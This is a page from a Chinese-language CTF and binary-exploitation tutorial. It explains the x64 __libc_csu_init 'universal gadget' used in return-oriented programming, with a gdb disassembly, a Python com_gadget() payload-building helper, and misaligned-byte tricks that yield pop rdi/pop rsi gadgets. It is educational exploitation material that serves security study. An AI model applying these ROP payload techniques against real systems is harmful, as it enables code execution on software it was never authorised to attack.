- 简介
- 一、基础知识篇
- 二、工具篇
- 三、分类专题篇
- 四、技巧篇
- 五、高级篇
- 六、题解篇
- 6.1 Pwn
- 6.1.1 pwn HCTF2016 brop
- 6.1.2 pwn NJCTF2017 pingme
- 6.1.3 pwn XDCTF2015 pwn200
- 6.1.4 pwn BackdoorCTF2017 Fun-Signals
- 6.1.5 pwn GreHackCTF2017 beerfighter
- 6.1.6 pwn DefconCTF2015 fuckup
- 6.1.7 pwn 0CTF2015 freenote
- 6.1.8 pwn DCTF2017 Flex
- 6.1.9 pwn RHme3 Exploitation
- 6.1.10 pwn 0CTF2017 BabyHeap2017
- 6.1.11 pwn 9447CTF2015 Search-Engine
- 6.1.12 pwn N1CTF2018 vote
- 6.1.13 pwn 34C3CTF2017 readme_revenge
- 6.1.14 pwn 32C3CTF2015 readme
- 6.1.15 pwn 34C3CTF2017 SimpleGC
- 6.1.16 pwn HITBCTF2017 1000levels
- 6.1.17 pwn SECCONCTF2016 jmper
- 6.1.18 pwn HITBCTF2017 Sentosa
- 6.1.19 pwn HITBCTF2018 gundam
- 6.1.20 pwn 33C3CTF2016 babyfengshui
- 6.1.21 pwn HITCONCTF2016 Secret_Holder
- 6.1.22 pwn HITCONCTF2016 Sleepy_Holder
- 6.1.23 pwn BCTF2016 bcloud
- 6.1.24 pwn HITCONCTF2016 HouseofOrange
- 6.1.25 pwn HCTF2017 babyprintf
- 6.1.26 pwn 34C3CTF2017 300
- 6.1.27 pwn SECCONCTF2016 tinypad
- 6.1.28 pwn ASISCTF2016 b00ks
- 6.1.29 pwn Insomni'hackteaserCTF2017 TheGreatEscapepart-3
- 6.1.30 pwn HITCONCTF2017 Ghostinthe_heap
- 6.1.31 pwn HITBCTF2018 mutepig
- 6.1.32 pwn SECCONCTF2017 vmnofun
- 6.1.33 pwn 34C3CTF2017 LFA
- 6.1.34 pwn N1CTF2018 memsafety
- 6.1.35 pwn 0CTF2018 heapstorm2
- 6.1.36 pwn NJCTF2017 messager
- 6.1.37 pwn sixstarctf2018 babystack
- 6.1.38 pwn HITCONCMT2017 pwn200
- 6.1.39 pwn BCTF2018 houseofAtum
- 6.1.40 pwn LCTF2016 pwn200
- 6.1.41 pwn PlaidCTF2015 PlaidDB
- 6.1.42 pwn hacklu2015 bookstore
- 6.1.43 pwn 0CTF2018 babyheap
- 6.1.44 pwn ASIS2017 start_hard
- 6.1.45 pwn LCTF2016 pwn100
- 6.2 Reverse
- 6.3 Web
- 6.1 Pwn
- 七、实战篇
- 7.1 CVE
- 7.1.1 CVE-2017-11543 tcpdump sliplink_print 栈溢出漏洞
- 7.1.2 CVE-2015-0235 glibc _nsshostnamedigitsdots 堆溢出漏洞
- 7.1.3 CVE-2016-4971 wget 任意文件上传漏洞
- 7.1.4 CVE-2017-13089 wget skipshortbody 栈溢出漏洞
- 7.1.5 CVE–2018-1000001 glibc realpath 缓冲区下溢漏洞
- 7.1.6 CVE-2017-9430 DNSTracer 栈溢出漏洞
- 7.1.7 CVE-2018-6323 GNU binutils elfobjectp 整型溢出漏洞
- 7.1.8 CVE-2010-2883 Adobe CoolType SING 表栈溢出漏洞
- 7.1.9 CVE-2010-3333 Microsoft Word RTF pFragments 栈溢出漏洞
- 7.1 CVE
- 八、学术篇
- 8.1 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)
- 8.2 Return-Oriented Programming without Returns
- 8.3 Return-Oriented Rootkits: Bypassing Kernel Code Integrity Protection Mechanisms
- 8.4 ROPdefender: A Detection Tool to Defend Against Return-Oriented Programming Attacks
- 8.5 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks
- 8.7 What Cannot Be Read, Cannot Be Leveraged? Revisiting Assumptions of JIT-ROP Defenses
- 8.9 Symbolic Execution for Software Testing: Three Decades Later
- 8.10 AEG: Automatic Exploit Generation
- 8.11 Address Space Layout Permutation (ASLP): Towards Fine-Grained Randomization of Commodity Software
- 8.13 New Frontiers of Reverse Engineering
- 8.14 Who Allocated My Memory? Detecting Custom Memory Allocators in C Binaries
- 8.21 Micro-Virtualization Memory Tracing to Detect and Prevent Spraying Attacks
- 8.22 Practical Memory Checking With Dr. Memory
- 8.23 Evaluating the Effectiveness of Current Anti-ROP Defenses
- 8.24 How to Make ASLR Win the Clone Wars: Runtime Re-Randomization
- 8.25 (State of) The Art of War: Offensive Techniques in Binary Analysis
- 8.26 Driller: Augmenting Fuzzing Through Selective Symbolic Execution
- 8.27 Firmalice - Automatic Detection of Authentication Bypass Vulnerabilities in Binary Firmware
- 8.28 Cross-Architecture Bug Search in Binary Executables
- 8.29 Dynamic Hooks: Hiding Control Flow Changes within Non-Control Data
- 8.30 Preventing brute force attacks against stack canary protection on networking servers
- 8.33 Under-Constrained Symbolic Execution: Correctness Checking for Real Code
- 8.34 Enhancing Symbolic Execution with Veritesting
- 8.38 TaintEraser: Protecting Sensitive Data Leaks Using Application-Level Taint Tracking
- 8.39 DART: Directed Automated Random Testing
- 8.40 EXE: Automatically Generating Inputs of Death
- 8.41 IntPatch: Automatically Fix Integer-Overflow-to-Buffer-Overflow Vulnerability at Compile-Time
- 8.42 Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits on Commodity Software
- 8.43 DTA++: Dynamic Taint Analysis with Targeted Control-Flow Propagation
- 8.44 Superset Disassembly: Statically Rewriting x86 Binaries Without Heuristics
- 8.45 Ramblr: Making Reassembly Great Again
- 8.46 FreeGuard: A Faster Secure Heap Allocator
- 8.48 Reassembleable Disassembling
- 九、附录
4.7 通用 gadget
__libc_csu_init()
我们知道在程序编译的过程中,会自动加入一些通用函数做初始化的工作,这些初始化函数都是相同的,所以我们可以考虑在这些函数中找到一些通用的 gadget,在 x64 程序中,就存在这样的 gadget。x64 程序的前六个参数依次通过寄存器 rdi、rsi、rdx、rcx、r8、r9 进行传递,我们所找的 gadget 自然也是针对这些寄存器进行操作的。
函数 __libc_csu_init()
用于对 libc 进行初始化,只要程序调用了 libc,就一定存在这个函数。由于每个版本的 libc 都有一定区别,这里的版本如下:
$ file /usr/lib/libc-2.26.so
/usr/lib/libc-2.26.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=f46739d962ec152b56d2bdb7dadaf8e576dbf6eb, for GNU/Linux 3.2.0, not stripped
下面用 6.1 pwn hctf2016 brop 的程序来做示范,使用 /r
参数可以打印出原始指令的十六进制:
gdb-peda$ disassemble /r __libc_csu_init
Dump of assembler code for function __libc_csu_init:
0x00000000004007d0 <+0>: 41 57 push r15
0x00000000004007d2 <+2>: 41 56 push r14
0x00000000004007d4 <+4>: 49 89 d7 mov r15,rdx
0x00000000004007d7 <+7>: 41 55 push r13
0x00000000004007d9 <+9>: 41 54 push r12
0x00000000004007db <+11>: 4c 8d 25 16 06 20 00 lea r12,[rip+0x200616] # 0x600df8
0x00000000004007e2 <+18>: 55 push rbp
0x00000000004007e3 <+19>: 48 8d 2d 16 06 20 00 lea rbp,[rip+0x200616] # 0x600e00
0x00000000004007ea <+26>: 53 push rbx
0x00000000004007eb <+27>: 41 89 fd mov r13d,edi
0x00000000004007ee <+30>: 49 89 f6 mov r14,rsi
0x00000000004007f1 <+33>: 4c 29 e5 sub rbp,r12
0x00000000004007f4 <+36>: 48 83 ec 08 sub rsp,0x8
0x00000000004007f8 <+40>: 48 c1 fd 03 sar rbp,0x3
0x00000000004007fc <+44>: ff 15 f6 07 20 00 call QWORD PTR [rip+0x2007f6] # 0x600ff8
0x0000000000400802 <+50>: 48 85 ed test rbp,rbp
0x0000000000400805 <+53>: 74 1f je 0x400826 <__libc_csu_init+86>
0x0000000000400807 <+55>: 31 db xor ebx,ebx
0x0000000000400809 <+57>: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
0x0000000000400810 <+64>: 4c 89 fa mov rdx,r15
0x0000000000400813 <+67>: 4c 89 f6 mov rsi,r14
0x0000000000400816 <+70>: 44 89 ef mov edi,r13d
0x0000000000400819 <+73>: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
0x000000000040081d <+77>: 48 83 c3 01 add rbx,0x1
0x0000000000400821 <+81>: 48 39 dd cmp rbp,rbx
0x0000000000400824 <+84>: 75 ea jne 0x400810 <__libc_csu_init+64>
0x0000000000400826 <+86>: 48 83 c4 08 add rsp,0x8
0x000000000040082a <+90>: 5b pop rbx
0x000000000040082b <+91>: 5d pop rbp
0x000000000040082c <+92>: 41 5c pop r12
0x000000000040082e <+94>: 41 5d pop r13
0x0000000000400830 <+96>: 41 5e pop r14
0x0000000000400832 <+98>: 41 5f pop r15
0x0000000000400834 <+100>: c3 ret
End of assembler dump.
从中提取出两段(必须以ret结尾),把它们叫做 part1 和 part2:
0x000000000040082a <+90>: 5b pop rbx
0x000000000040082b <+91>: 5d pop rbp
0x000000000040082c <+92>: 41 5c pop r12
0x000000000040082e <+94>: 41 5d pop r13
0x0000000000400830 <+96>: 41 5e pop r14
0x0000000000400832 <+98>: 41 5f pop r15
0x0000000000400834 <+100>: c3 ret
0x0000000000400810 <+64>: 4c 89 fa mov rdx,r15
0x0000000000400813 <+67>: 4c 89 f6 mov rsi,r14
0x0000000000400816 <+70>: 44 89 ef mov edi,r13d
0x0000000000400819 <+73>: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
0x000000000040081d <+77>: 48 83 c3 01 add rbx,0x1
0x0000000000400821 <+81>: 48 39 dd cmp rbp,rbx
0x0000000000400824 <+84>: 75 ea jne 0x400810 <__libc_csu_init+64>
0x0000000000400826 <+86>: 48 83 c4 08 add rsp,0x8
0x000000000040082a <+90>: 5b pop rbx
0x000000000040082b <+91>: 5d pop rbp
0x000000000040082c <+92>: 41 5c pop r12
0x000000000040082e <+94>: 41 5d pop r13
0x0000000000400830 <+96>: 41 5e pop r14
0x0000000000400832 <+98>: 41 5f pop r15
0x0000000000400834 <+100>: c3 ret
part1 中连续六个 pop,我们可以通过布置栈来设置这些寄存器,然后进入 part2,前三条语句(r15->rdx、r14->rsi、r13d->edi)分别给三个参数寄存器赋值,然后调用函数,这里需要注意的是第三句是 r13d(r13低32位)给 edi(rdi低32位)赋值,即使这样我们还是可以做很多操作了。
另外为了让程序在调用函数返回后还能继续执行,我们需要像下面这样进行构造:
pop rbx #必须为0
pop rbp #必须为1
pop r12 #函数地址
pop r13 #edi
pop r14 #rsi
pop r15 #rdx
ret #跳转到part2
下面附上一个可直接调用的函数:
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
payload = p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += p64(0x0) # rbx must be 0x0
payload += p64(0x1) # rbp must be 0x1
payload += p64(jmp2) # r12 jump to
payload += p64(arg1) # r13 -> edi arg1
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg3) # r15 -> rdx arg3
payload += p64(part2) # part2 entry will call [r12+rbx*0x8]
payload += 'A' * 56 # junk 6*8+8=56
return payload
上面的 gadget 是显而易见的,但如果有人精通汇编字节码,可以找到一些比较隐蔽的 gadget,比如说指定一个位移点再反编译:
gdb-peda$ disassemble /r 0x0000000000400831,0x0000000000400835
Dump of assembler code from 0x400831 to 0x400835:
0x0000000000400831 <__libc_csu_init+97>: 5e pop rsi
0x0000000000400832 <__libc_csu_init+98>: 41 5f pop r15
0x0000000000400834 <__libc_csu_init+100>: c3 ret
End of assembler dump.
gdb-peda$ disassemble /r 0x0000000000400833,0x0000000000400835
Dump of assembler code from 0x400833 to 0x400835:
0x0000000000400833 <__libc_csu_init+99>: 5f pop rdi
0x0000000000400834 <__libc_csu_init+100>: c3 ret
End of assembler dump.
5e
和 5f
分别是 pop rsi
和 pop rdi
的字节码,于是我们可以通过这种方法轻易地控制 rsi
和 rdi
。
在 6.1.1 pwn HCTF2016 brop 的 exp 中,我们使用了偏移后的 pop rdi; ret
,而没有用 com_gadget()
函数,感兴趣的童鞋可以尝试使用它重写 exp。
除了上面介绍的 __libc_csu_init()
,还可以到下面的函数中找一找:
_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini
总之,多试一试总不会错。
参考资料
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论